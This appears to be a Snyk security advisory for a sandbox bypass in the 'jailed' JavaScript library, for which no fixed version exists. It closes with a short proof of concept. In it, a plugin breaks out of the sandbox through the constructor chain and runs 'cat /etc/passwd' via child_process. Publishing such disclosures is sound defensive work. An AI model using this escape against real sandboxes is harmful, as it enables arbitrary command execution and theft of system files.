Sandbox Bypass Affecting org.webjars.bower:jailed package, versions [0,]


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.29% (70th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JAVA-ORGWEBJARSBOWER-2441254
  • published 6 Apr 2022
  • disclosed 2 Feb 2022
  • credit Cristian-Alexandru Staicu, Abdullah Alhamdan

How to fix?

There is no fixed version for org.webjars.bower:jailed.

Overview

org.webjars.bower:jailed is an a small JavaScript library for running untrusted code in a sandbox.

Affected versions of this package are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.

PoC

//poc.js
var jailed = require('jailed');
var path = './jailed-plugin.js';

var api = {
    alert: console.log
};

var plugin = new jailed.Plugin(path, api);
//jailed-plugin.js
application.remote.alert(this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /etc/passwd").toString());